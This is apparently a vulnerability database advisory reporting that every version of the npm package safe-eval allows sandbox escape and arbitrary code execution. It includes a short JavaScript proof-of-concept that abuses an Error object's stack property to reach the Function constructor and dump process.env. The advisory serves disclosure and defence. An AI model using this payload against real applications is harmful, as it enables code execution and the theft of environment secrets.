Lucene search

K
nodejsPosixNODEJS:1322
HistoryNov 15, 2019 - 3:27 p.m.

Sandbox Breakout / Arbitrary Code Execution

2019-11-1515:27:49
posix
www.npmjs.com
4

Overview

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

References

GitHub Advisory

CPENameOperatorVersion
safe-evalge0.0.0